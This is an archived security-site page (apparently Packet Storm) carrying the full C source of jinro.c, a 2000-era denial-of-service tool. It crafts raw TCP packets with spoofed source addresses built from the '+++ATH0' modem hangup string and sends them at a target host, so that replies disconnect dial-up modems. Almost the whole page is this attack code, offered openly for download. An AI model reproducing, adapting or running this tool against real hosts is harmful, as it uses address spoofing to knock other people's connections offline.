what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

jinro.c

jinro.c
Posted Aug 11, 2000
Authored by Nijen Rode

Jinro.c will transmit TCP packets which generate replies containing a modem hangup sequence. This is an improved version of the old hangup bug which may circumvent firewalls / init string patch.

tags | denial of service, tcp
SHA-256 | a177990f433cf1832b454c2c6fec29700b7b6431125b5bee6189dfb3538da8d8

jinro.c

Change Mirror Download
char about[] = "jinro.c by Sorcerer of DALnet";

#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

#define DUP_COUNT 3;

char hup[] = "+++ATH0\r";

struct tcp {
unsigned char verihl;
unsigned char tos;
unsigned short len;
unsigned short id;
unsigned short flg_ofs;
unsigned char ttl;
unsigned char proto;
unsigned short ipsum;
unsigned long src;
unsigned long dst;
unsigned short sport;
unsigned short dport;
unsigned long seq;
unsigned long ack_seq;
unsigned char offset;
unsigned char flags;
unsigned short win;
unsigned short tcpsum;
unsigned short urgptr;
char data[10];
};



main(int argc,char *argv[]) {
struct tcp tcp;
int sock = socket(PF_INET,SOCK_RAW,6),one=1;
struct sockaddr_in targ;
unsigned short tmp,pos,dup;

register int count,sum;
register unsigned short *p;

if((sock==-1) ||
(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)))
) {
fprintf(stderr,"failed to create raw socket\n");
exit(1);
}

if(argc<2) {
fprintf(stderr,"%s <target>\n",argv[0]);
exit(1);
}

printf("%s\n",&about[0]);

targ.sin_addr.s_addr = inet_addr(argv[1]);
targ.sin_family = AF_INET;

tcp.verihl = 69;
tcp.tos = 16;
tcp.len = htons(sizeof(struct tcp));
tcp.id = random() | 1;
tcp.flg_ofs = 64;
tcp.ttl = 128;
tcp.proto = 6;
tcp.ipsum = 0;

tcp.offset = 112;
tcp.flags = 8;
tcp.win = htons(8192);
tcp.urgptr = 0;

pos = 3;

while(pos++<255) {

hup[0]=pos;
hup[1]=pos;
hup[2]=pos;

strncpy((char *)&tcp.dst,&hup[0],8);

tmp = tcp.sport;
tcp.sport = tcp.dport;
tcp.dport = tmp;
tcp.src = tcp.dst;
tcp.dst = targ.sin_addr.s_addr;

count = (sizeof(struct tcp) - 20) >> 1;
p = (unsigned short *) &tcp.sport;

sum = (tcp.src >> 16) + (tcp.src & 0xffff) + (tcp.dst >> 16) +
(tcp.dst & 0xffff) + 1536 + htons(count << 1);

tcp.tcpsum = 0;
while(count--) sum += *p++;
sum = (sum >> 16) + (sum & 0xffff);
tcp.tcpsum = ~(sum += (sum >> 16));

targ.sin_port = tcp.dport;

dup =
#ifdef DUP_COUNT
DUP_COUNT
#else
1
#endif
;
while(dup--) if(
sendto(sock,&tcp,sizeof(struct tcp),0,
(struct sockaddr *)&targ,sizeof(targ))
==-1) {
fprintf(stderr,"failed to send packet\n");
exit(3);
}
usleep(10000);
}
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close